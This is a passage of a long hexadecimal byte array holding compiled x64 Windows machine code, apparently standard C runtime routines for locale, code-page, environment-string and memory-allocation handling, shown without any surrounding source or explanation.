0x8b, 0x45, 0x30, 0xba, 0x04, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x44, - 0x8d, 0x42, 0x7c, 0x0f, 0x10, 0x00, 0x0f, 0x11, 0x01, 0x0f, 0x10, 0x48, - 0x10, 0x0f, 0x11, 0x49, 0x10, 0x0f, 0x10, 0x40, 0x20, 0x0f, 0x11, 0x41, - 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, 0x11, 0x49, 0x30, 0x0f, 0x10, 0x40, - 0x40, 0x0f, 0x11, 0x41, 0x40, 0x0f, 0x10, 0x48, 0x50, 0x0f, 0x11, 0x49, - 0x50, 0x0f, 0x10, 0x40, 0x60, 0x0f, 0x11, 0x41, 0x60, 0x49, 0x03, 0xc8, - 0x0f, 0x10, 0x48, 0x70, 0x49, 0x03, 0xc0, 0x0f, 0x11, 0x49, 0xf0, 0x48, - 0x83, 0xea, 0x01, 0x75, 0xb6, 0x0f, 0x10, 0x00, 0x0f, 0x11, 0x01, 0x0f, - 0x10, 0x48, 0x10, 0x0f, 0x11, 0x49, 0x10, 0x48, 0x8b, 0x40, 0x20, 0x48, - 0x89, 0x41, 0x20, 0x8b, 0xcf, 0x21, 0x13, 0x48, 0x8b, 0xd3, 0xe8, 0x11, - 0x02, 0x00, 0x00, 0x8b, 0xf8, 0x83, 0xf8, 0xff, 0x75, 0x25, 0xe8, 0x51, - 0xcc, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0x83, 0xcf, 0xff, - 0x48, 0x8b, 0xcb, 0xe8, 0x60, 0xcc, 0xff, 0xff, 0x8b, 0xc7, 0x48, 0x8b, - 0x5c, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0x5e, 0x5d, 0xc3, 0x40, - 0x84, 0xf6, 0x75, 0x05, 0xe8, 0x4f, 0xe3, 0xff, 0xff, 0x48, 0x8b, 0x45, - 0x30, 0x48, 0x8b, 0x88, 0x88, 0x00, 0x00, 0x00, 0x83, 0xc8, 0xff, 0xf0, - 0x0f, 0xc1, 0x01, 0x83, 0xf8, 0x01, 0x75, 0x1c, 0x48, 0x8b, 0x45, 0x30, - 0x48, 0x8b, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x32, 0x31, - 0x01, 0x00, 0x48, 0x3b, 0xc8, 0x74, 0x05, 0xe8, 0x14, 0xcc, 0xff, 0xff, - 0xc7, 0x03, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x45, - 0x30, 0x33, 0xdb, 0x48, 0x89, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0x45, 0x30, 0x8b, 0x88, 0xa8, 0x03, 0x00, 0x00, 0x85, 0x0d, 0x42, 0x36, - 0x01, 0x00, 0x75, 0x84, 0x48, 0x8d, 0x45, 0x30, 0x48, 0x89, 0x45, 0xf0, - 0x4c, 0x8d, 0x4d, 0xe4, 0x48, 0x8d, 0x45, 0x38, 0x48, 0x89, 0x45, 0xf8, - 0x4c, 0x8d, 0x45, 0xf0, 0x8d, 0x43, 0x05, 0x48, 0x8d, 0x55, 0xe8, 0x89, - 0x45, 0xe4, 0x48, 0x8d, 0x4d, 0xe0, 0x89, 0x45, 0xe8, 0xe8, 0xae, 0xf9, - 0xff, 0xff, 0x40, 0x84, 0xf6, 0x0f, 0x84, 0x4d, 0xff, 0xff, 0xff, 0x48, - 0x8b, 0x45, 0x38, 0x48, 0x8b, 0x08, 0x48, 0x89, 0x0d, 0xab, 0x30, 0x01, - 0x00, 0xe9, 0x3a, 0xff, 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, - 0x8b, 0xf2, 0x48, 0x8b, 0xf9, 0x8b, 0x05, 0xd9, 0x35, 0x01, 0x00, 0x85, - 0x81, 0xa8, 0x03, 0x00, 0x00, 0x74, 0x13, 0x48, 0x83, 0xb9, 0x90, 0x00, - 0x00, 0x00, 0x00, 0x74, 0x09, 0x48, 0x8b, 0x99, 0x88, 0x00, 0x00, 0x00, - 0xeb, 0x64, 0xb9, 0x05, 0x00, 0x00, 0x00, 0xe8, 0x34, 0xec, 0xff, 0xff, - 0x90, 0x48, 0x8b, 0x9f, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, - 0x30, 0x48, 0x3b, 0x1e, 0x74, 0x3e, 0x48, 0x85, 0xdb, 0x74, 0x22, 0x83, - 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x03, 0x83, 0xf8, 0x01, 0x75, 0x16, 0x48, - 0x8d, 0x05, 0x4a, 0x30, 0x01, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x48, - 0x3b, 0xc8, 0x74, 0x05, 0xe8, 0x27, 0xcb, 0xff, 0xff, 0x48, 0x8b, 0x06, - 0x48, 0x89, 0x87, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, - 0xf0, 0xff, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0xb9, 0x05, 0x00, 0x00, - 0x00, 0xe8, 0x2e, 0xec, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, 0x13, 0x48, - 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, - 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xe8, 0x0d, 0xc0, 0xff, 0xff, 0x90, - 0x48, 0x83, 0xec, 0x28, 0x80, 0x3d, 0x75, 0x49, 0x01, 0x00, 0x00, 0x75, - 0x4c, 0x48, 0x8d, 0x0d, 0x28, 0x33, 0x01, 0x00, 0x48, 0x89, 0x0d, 0x51, - 0x49, 0x01, 0x00, 0x48, 0x8d, 0x05, 0xda, 0x2f, 0x01, 0x00, 0x48, 0x8d, - 0x0d, 0x03, 0x32, 0x01, 0x00, 0x48, 0x89, 0x05, 0x44, 0x49, 0x01, 0x00, - 0x48, 0x89, 0x0d, 0x2d, 0x49, 0x01, 0x00, 0xe8, 0x84, 0xc5, 0xff, 0xff, - 0x4c, 0x8d, 0x0d, 0x31, 0x49, 0x01, 0x00, 0x4c, 0x8b, 0xc0, 0xb2, 0x01, - 0xb9, 0xfd, 0xff, 0xff, 0xff, 0xe8, 0x36, 0xfd, 0xff, 0xff, 0xc6, 0x05, - 0x27, 0x49, 0x01, 0x00, 0x01, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0x83, 0xc4, 0xff, 0xff, 0x48, 0x8b, 0xc8, - 0x48, 0x8d, 0x15, 0x01, 0x49, 0x01, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xe9, - 0xcc, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x55, 0x56, 0x57, - 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x40, - 0x48, 0x8b, 0x05, 0x8d, 0x2c, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, - 0x44, 0x24, 0x38, 0x48, 0x8b, 0xf2, 0xe8, 0xed, 0xf9, 0xff, 0xff, 0x33, - 0xdb, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x84, 0x53, 0x02, 0x00, 0x00, 0x4c, - 0x8d, 0x2d, 0x92, 0x33, 0x01, 0x00, 0x44, 0x8b, 0xf3, 0x49, 0x8b, 0xc5, - 0x8d, 0x6b, 0x01, 0x39, 0x38, 0x0f, 0x84, 0x4e, 0x01, 0x00, 0x00, 0x44, - 0x03, 0xf5, 0x48, 0x83, 0xc0, 0x30, 0x41, 0x83, 0xfe, 0x05, 0x72, 0xeb, - 0x81, 0xff, 0xe8, 0xfd, 0x00, 0x00, 0x0f, 0x84, 0x2d, 0x01, 0x00, 0x00, - 0x0f, 0xb7, 0xcf, 0xff, 0x15, 0x47, 0x7e, 0x00, 0x00, 0x85, 0xc0, 0x0f, - 0x84, 0x1c, 0x01, 0x00, 0x00, 0xb8, 0xe9, 0xfd, 0x00, 0x00, 0x3b, 0xf8, - 0x75, 0x2e, 0x48, 0x89, 0x46, 0x04, 0x48, 0x89, 0x9e, 0x20, 0x02, 0x00, - 0x00, 0x89, 0x5e, 0x18, 0x66, 0x89, 0x5e, 0x1c, 0x48, 0x8d, 0x7e, 0x0c, - 0x0f, 0xb7, 0xc3, 0xb9, 0x06, 0x00, 0x00, 0x00, 0x66, 0xf3, 0xab, 0x48, - 0x8b, 0xce, 0xe8, 0x7d, 0xfa, 0xff, 0xff, 0xe9, 0xe2, 0x01, 0x00, 0x00, - 0x48, 0x8d, 0x54, 0x24, 0x20, 0x8b, 0xcf, 0xff, 0x15, 0x13, 0x7e, 0x00, - 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xc4, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, - 0x8d, 0x4e, 0x18, 0x41, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xe8, 0x7a, 0x86, - 0xff, 0xff, 0x83, 0x7c, 0x24, 0x20, 0x02, 0x89, 0x7e, 0x04, 0x48, 0x89, - 0x9e, 0x20, 0x02, 0x00, 0x00, 0x0f, 0x85, 0x94, 0x00, 0x00, 0x00, 0x48, - 0x8d, 0x4c, 0x24, 0x26, 0x38, 0x5c, 0x24, 0x26, 0x74, 0x2c, 0x38, 0x59, - 0x01, 0x74, 0x27, 0x0f, 0xb6, 0x41, 0x01, 0x0f, 0xb6, 0x11, 0x3b, 0xd0, - 0x77, 0x14, 0x2b, 0xc2, 0x8d, 0x7a, 0x01, 0x8d, 0x14, 0x28, 0x80, 0x4c, - 0x37, 0x18, 0x04, 0x03, 0xfd, 0x48, 0x2b, 0xd5, 0x75, 0xf4, 0x48, 0x83, - 0xc1, 0x02, 0x38, 0x19, 0x75, 0xd4, 0x48, 0x8d, 0x46, 0x1a, 0xb9, 0xfe, - 0x00, 0x00, 0x00, 0x80, 0x08, 0x08, 0x48, 0x03, 0xc5, 0x48, 0x2b, 0xcd, - 0x75, 0xf5, 0x8b, 0x4e, 0x04, 0x81, 0xe9, 0xa4, 0x03, 0x00, 0x00, 0x74, - 0x2e, 0x83, 0xe9, 0x04, 0x74, 0x20, 0x83, 0xe9, 0x0d, 0x74, 0x12, 0x3b, - 0xcd, 0x74, 0x05, 0x48, 0x8b, 0xc3, 0xeb, 0x22, 0x48, 0x8b, 0x05, 0xcd, - 0xa8, 0x00, 0x00, 0xeb, 0x19, 0x48, 0x8b, 0x05, 0xbc, 0xa8, 0x00, 0x00, - 0xeb, 0x10, 0x48, 0x8b, 0x05, 0xab, 0xa8, 0x00, 0x00, 0xeb, 0x07, 0x48, - 0x8b, 0x05, 0x9a, 0xa8, 0x00, 0x00, 0x48, 0x89, 0x86, 0x20, 0x02, 0x00, - 0x00, 0xeb, 0x02, 0x8b, 0xeb, 0x89, 0x6e, 0x08, 0xe9, 0x0b, 0xff, 0xff, - 0xff, 0x39, 0x1d, 0x71, 0x47, 0x01, 0x00, 0x0f, 0x85, 0xf5, 0x00, 0x00, - 0x00, 0x83, 0xc8, 0xff, 0xe9, 0xf7, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, - 0x8d, 0x4e, 0x18, 0x41, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0x85, - 0xff, 0xff, 0x41, 0x8b, 0xc6, 0x4d, 0x8d, 0x4d, 0x10, 0x4c, 0x8d, 0x3d, - 0x04, 0x32, 0x01, 0x00, 0x41, 0xbe, 0x04, 0x00, 0x00, 0x00, 0x4c, 0x8d, - 0x1c, 0x40, 0x49, 0xc1, 0xe3, 0x04, 0x4d, 0x03, 0xcb, 0x49, 0x8b, 0xd1, - 0x41, 0x38, 0x19, 0x74, 0x3e, 0x38, 0x5a, 0x01, 0x74, 0x39, 0x44, 0x0f, - 0xb6, 0x02, 0x0f, 0xb6, 0x42, 0x01, 0x44, 0x3b, 0xc0, 0x77, 0x24, 0x45, - 0x8d, 0x50, 0x01, 0x41, 0x81, 0xfa, 0x01, 0x01, 0x00, 0x00, 0x73, 0x17, - 0x41, 0x8a, 0x07, 0x44, 0x03, 0xc5, 0x41, 0x08, 0x44, 0x32, 0x18, 0x44, - 0x03, 0xd5, 0x0f, 0xb6, 0x42, 0x01, 0x44, 0x3b, 0xc0, 0x76, 0xe0, 0x48, - 0x83, 0xc2, 0x02, 0x38, 0x1a, 0x75, 0xc2, 0x49, 0x83, 0xc1, 0x08, 0x4c, - 0x03, 0xfd, 0x4c, 0x2b, 0xf5, 0x75, 0xae, 0x89, 0x7e, 0x04, 0x89, 0x6e, - 0x08, 0x81, 0xef, 0xa4, 0x03, 0x00, 0x00, 0x74, 0x29, 0x83, 0xef, 0x04, - 0x74, 0x1b, 0x83, 0xef, 0x0d, 0x74, 0x0d, 0x3b, 0xfd, 0x75, 0x22, 0x48, - 0x8b, 0x1d, 0xe6, 0xa7, 0x00, 0x00, 0xeb, 0x19, 0x48, 0x8b, 0x1d, 0xd5, - 0xa7, 0x00, 0x00, 0xeb, 0x10, 0x48, 0x8b, 0x1d, 0xc4, 0xa7, 0x00, 0x00, - 0xeb, 0x07, 0x48, 0x8b, 0x1d, 0xb3, 0xa7, 0x00, 0x00, 0x4c, 0x2b, 0xde, - 0x48, 0x89, 0x9e, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x56, 0x0c, 0xb9, - 0x06, 0x00, 0x00, 0x00, 0x4b, 0x8d, 0x3c, 0x2b, 0x0f, 0xb7, 0x44, 0x17, - 0xf8, 0x66, 0x89, 0x02, 0x48, 0x8d, 0x52, 0x02, 0x48, 0x2b, 0xcd, 0x75, - 0xef, 0xe9, 0x19, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xce, 0xe8, 0x06, 0xf8, - 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x33, 0xcc, - 0xe8, 0x7f, 0x73, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x90, 0x00, 0x00, - 0x00, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, - 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x40, 0x8b, - 0xda, 0x41, 0x8b, 0xf9, 0x48, 0x8b, 0xd1, 0x41, 0x8b, 0xf0, 0x48, 0x8d, - 0x4c, 0x24, 0x20, 0xe8, 0xf8, 0x98, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, - 0x30, 0x0f, 0xb6, 0xd3, 0x40, 0x84, 0x7c, 0x02, 0x19, 0x75, 0x1a, 0x85, - 0xf6, 0x74, 0x10, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x08, 0x0f, - 0xb7, 0x04, 0x51, 0x23, 0xc6, 0xeb, 0x02, 0x33, 0xc0, 0x85, 0xc0, 0x74, - 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, - 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x58, 0x48, - 0x83, 0xc4, 0x40, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x8b, 0xd1, 0x41, 0xb9, - 0x04, 0x00, 0x00, 0x00, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xe9, 0x76, 0xff, - 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xff, 0x15, 0x86, 0x7b, - 0x00, 0x00, 0x48, 0x89, 0x05, 0xcf, 0x45, 0x01, 0x00, 0xff, 0x15, 0x81, - 0x7b, 0x00, 0x00, 0x48, 0x89, 0x05, 0xca, 0x45, 0x01, 0x00, 0xb0, 0x01, - 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x81, 0xf9, 0x35, 0xc4, - 0x00, 0x00, 0x77, 0x20, 0x8d, 0x81, 0xd4, 0x3b, 0xff, 0xff, 0x83, 0xf8, - 0x09, 0x77, 0x0c, 0x41, 0xba, 0xa7, 0x02, 0x00, 0x00, 0x41, 0x0f, 0xa3, - 0xc2, 0x72, 0x05, 0x83, 0xf9, 0x2a, 0x75, 0x2f, 0x33, 0xd2, 0xeb, 0x2b, - 0x81, 0xf9, 0x98, 0xd6, 0x00, 0x00, 0x74, 0x20, 0x81, 0xf9, 0xa9, 0xde, - 0x00, 0x00, 0x76, 0x1b, 0x81, 0xf9, 0xb3, 0xde, 0x00, 0x00, 0x76, 0xe4, - 0x81, 0xf9, 0xe8, 0xfd, 0x00, 0x00, 0x74, 0xdc, 0x81, 0xf9, 0xe9, 0xfd, - 0x00, 0x00, 0x75, 0x03, 0x83, 0xe2, 0x08, 0x48, 0xff, 0x25, 0x1e, 0x7b, - 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x8d, 0x81, - 0x18, 0x02, 0xff, 0xff, 0x45, 0x8b, 0xd9, 0x83, 0xf8, 0x01, 0x49, 0x8b, - 0xd8, 0x41, 0x0f, 0x96, 0xc2, 0x33, 0xff, 0x81, 0xf9, 0x35, 0xc4, 0x00, - 0x00, 0x77, 0x1c, 0x8d, 0x81, 0xd4, 0x3b, 0xff, 0xff, 0x83, 0xf8, 0x09, - 0x77, 0x0c, 0x41, 0xb8, 0xa7, 0x02, 0x00, 0x00, 0x41, 0x0f, 0xa3, 0xc0, - 0x72, 0x33, 0x83, 0xf9, 0x2a, 0xeb, 0x26, 0x81, 0xf9, 0x98, 0xd6, 0x00, - 0x00, 0x74, 0x26, 0x81, 0xf9, 0xa9, 0xde, 0x00, 0x00, 0x76, 0x18, 0x81, - 0xf9, 0xb3, 0xde, 0x00, 0x00, 0x76, 0x16, 0x81, 0xf9, 0xe8, 0xfd, 0x00, - 0x00, 0x74, 0x0e, 0x81, 0xf9, 0xe9, 0xfd, 0x00, 0x00, 0x74, 0x06, 0x0f, - 0xba, 0xf2, 0x07, 0xeb, 0x02, 0x8b, 0xd7, 0x48, 0x8b, 0x44, 0x24, 0x48, - 0x45, 0x84, 0xd2, 0x4c, 0x8b, 0x4c, 0x24, 0x40, 0x4c, 0x8b, 0xc0, 0x4c, - 0x0f, 0x45, 0xc7, 0x4c, 0x0f, 0x45, 0xcf, 0x74, 0x07, 0x48, 0x85, 0xc0, - 0x74, 0x02, 0x89, 0x38, 0x4c, 0x89, 0x44, 0x24, 0x48, 0x4c, 0x8b, 0xc3, - 0x4c, 0x89, 0x4c, 0x24, 0x40, 0x45, 0x8b, 0xcb, 0x48, 0x8b, 0x5c, 0x24, - 0x10, 0x5f, 0x48, 0xff, 0x25, 0x77, 0x7a, 0x00, 0x00, 0xcc, 0xcc, 0xcc, - 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, - 0x40, 0xff, 0x15, 0x5d, 0x7a, 0x00, 0x00, 0x45, 0x33, 0xf6, 0x48, 0x8b, - 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0xf0, 0x66, 0x44, 0x39, 0x30, 0x74, 0x1c, 0x48, 0x83, 0xc8, 0xff, 0x48, - 0xff, 0xc0, 0x66, 0x44, 0x39, 0x34, 0x46, 0x75, 0xf6, 0x48, 0x8d, 0x34, - 0x46, 0x48, 0x83, 0xc6, 0x02, 0x66, 0x44, 0x39, 0x36, 0x75, 0xe4, 0x4c, - 0x89, 0x74, 0x24, 0x38, 0x48, 0x2b, 0xf3, 0x4c, 0x89, 0x74, 0x24, 0x30, - 0x48, 0x83, 0xc6, 0x02, 0x48, 0xd1, 0xfe, 0x4c, 0x8b, 0xc3, 0x44, 0x8b, - 0xce, 0x44, 0x89, 0x74, 0x24, 0x28, 0x33, 0xd2, 0x4c, 0x89, 0x74, 0x24, - 0x20, 0x33, 0xc9, 0xe8, 0xd0, 0xfe, 0xff, 0xff, 0x48, 0x63, 0xe8, 0x85, - 0xc0, 0x74, 0x4b, 0x48, 0x8b, 0xcd, 0xe8, 0xa1, 0xc5, 0xff, 0xff, 0x48, - 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x4c, 0x89, 0x74, 0x24, 0x38, - 0x44, 0x8b, 0xce, 0x4c, 0x89, 0x74, 0x24, 0x30, 0x4c, 0x8b, 0xc3, 0x89, - 0x6c, 0x24, 0x28, 0x33, 0xd2, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, - 0xe8, 0x97, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x8b, 0xf7, - 0x49, 0x8b, 0xfe, 0xeb, 0x03, 0x49, 0x8b, 0xf6, 0x48, 0x8b, 0xcf, 0xe8, - 0x20, 0xc5, 0xff, 0xff, 0xeb, 0x03, 0x49, 0x8b, 0xf6, 0x48, 0x85, 0xdb, - 0x74, 0x09, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0xa1, 0x79, 0x00, 0x00, 0x48, - 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x60, - 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x7c, 0x24, 0x68, 0x48, 0x83, - 0xc4, 0x40, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xda, 0x48, 0x8b, - 0xf1, 0x48, 0x85, 0xd2, 0x74, 0x1d, 0x33, 0xd2, 0x48, 0x8d, 0x42, 0xe0, - 0x48, 0xf7, 0xf3, 0x49, 0x3b, 0xc0, 0x73, 0x0f, 0xe8, 0x97, 0xc4, 0xff, - 0xff, 0xc7, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xeb, 0x41, 0x48, - 0x85, 0xf6, 0x74, 0x0a, 0xe8, 0xc3, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xf8, - 0xeb, 0x02, 0x33, 0xff, 0x48, 0x0f, 0xaf, 0xdd, 0x48, 0x8b, 0xce, 0x48, - 0x8b, 0xd3, 0xe8, 0xe9, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, - 0xc0, 0x74, 0x16, 0x48, 0x3b, 0xfb, 0x73, 0x11, 0x48, 0x2b, 0xdf, 0x48, - 0x8d, 0x0c, 0x38, 0x4c, 0x8b, 0xc3, 0x33, 0xd2, 0xe8, 0x53, 0x81, 0xff, - 0xff, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, - 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xff, 0x15, 0x3e, 0x77, - 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x89, 0x05, 0x0c, 0x43, 0x01, 0x00, - 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0x25, 0xfc, - 0x42, 0x01, 0x00, 0x00, 0xb0, 0x01, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, - 0x8b, 0xf2, 0x48, 0x8b, 0xf9, 0x48, 0x3b, 0xca, 0x74, 0x54, 0x48, 0x8b, - 0xd9, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x15, 0x3d, - 0x79, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x09, 0x48, 0x83, 0xc3, 0x10, 0x48, - 0x3b, 0xde, 0x75, 0xe5, 0x48, 0x3b, 0xde, 0x74, 0x31, 0x48, 0x3b, 0xdf, - 0x74, 0x28, 0x48, 0x83, 0xc3, 0xf8, 0x48, 0x83, 0x7b, 0xf8, 0x00, 0x74, - 0x10, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x33, 0xc9, 0xff, - 0x15, 0x0b, 0x79, 0x00, 0x00, 0x48, 0x83, 0xeb, 0x10, 0x48, 0x8d, 0x43, - 0x08, 0x48, 0x3b, 0xc7, 0x75, 0xdc, 0x32, 0xc0, 0xeb, 0x02, 0xb0, 0x01, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x3b, 0xca, 0x74, - 0x1a, 0x48, 0x8b, 0x43, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x33, 0xc9, - 0xff, 0x15, 0xc2, 0x78, 0x00, 0x00, 0x48, 0x83, 0xeb, 0x10, 0x48, 0x3b, - 0xdf, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0xb0, 0x01, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x0d, 0x3d, 0x42, 0x01, 0x00, 0xc3, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0x22, 0x00, - 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x14, 0x48, 0x8b, 0xcb, 0xff, 0x15, - 0x88, 0x78, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x07, 0xb8, 0x01, 0x00, 0x00, - 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x33, 0xc9, 0xe8, 0xff, 0xe3, 0xff, - 0xff, 0x90, 0x48, 0x8b, 0x1d, 0x5f, 0x25, 0x01, 0x00, 0x8b, 0xcb, 0x83, - 0xe1, 0x3f, 0x48, 0x33, 0x1d, 0xeb, 0x41, 0x01, 0x00, 0x48, 0xd3, 0xcb, - 0x33, 0xc9, 0xe8, 0x35, 0xe4, 0xff, 0xff, 0x48, 0x8b, 0xc3, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, - 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x8b, 0x0a, - 0xe8, 0xbf, 0xe3, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x1d, 0x1f, 0x25, 0x01, - 0x00, 0x8b, 0xcb, 0x83, 0xe1, 0x3f, 0x48, 0x33, 0x1d, 0xc3, 0x41, 0x01, - 0x00, 0x48, 0xd3, 0xcb, 0x8b, 0x0f, 0xe8, 0xf5, 0xe3, 0xff, 0xff, 0x48, - 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x48, 0x83, 0xec, 0x28, 0xb8, - 0x03, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x4b, 0x10, 0x4d, 0x8d, 0x43, 0x08, - 0x89, 0x44, 0x24, 0x38, 0x49, 0x8d, 0x53, 0x18, 0x89, 0x44, 0x24, 0x40, - 0x49, 0x8d, 0x4b, 0x08, 0xe8, 0x8f, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, - 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x0d, 0x61, 0x41, 0x01, 0x00, 0x48, - 0x89, 0x0d, 0x62, 0x41, 0x01, 0x00, 0x48, 0x89, 0x0d, 0x63, 0x41, 0x01, - 0x00, 0x48, 0x89, 0x0d, 0x64, 0x41, 0x01, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x20, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, - 0x56, 0x48, 0x83, 0xec, 0x40, 0x8b, 0xd9, 0x45, 0x33, 0xed, 0x44, 0x21, - 0x6c, 0x24, 0x78, 0x41, 0xb6, 0x01, 0x44, 0x88, 0x74, 0x24, 0x70, 0x83, - 0xf9, 0x02, 0x74, 0x21, 0x83, 0xf9, 0x04, 0x74, 0x4c, 0x83, 0xf9, 0x06, - 0x74, 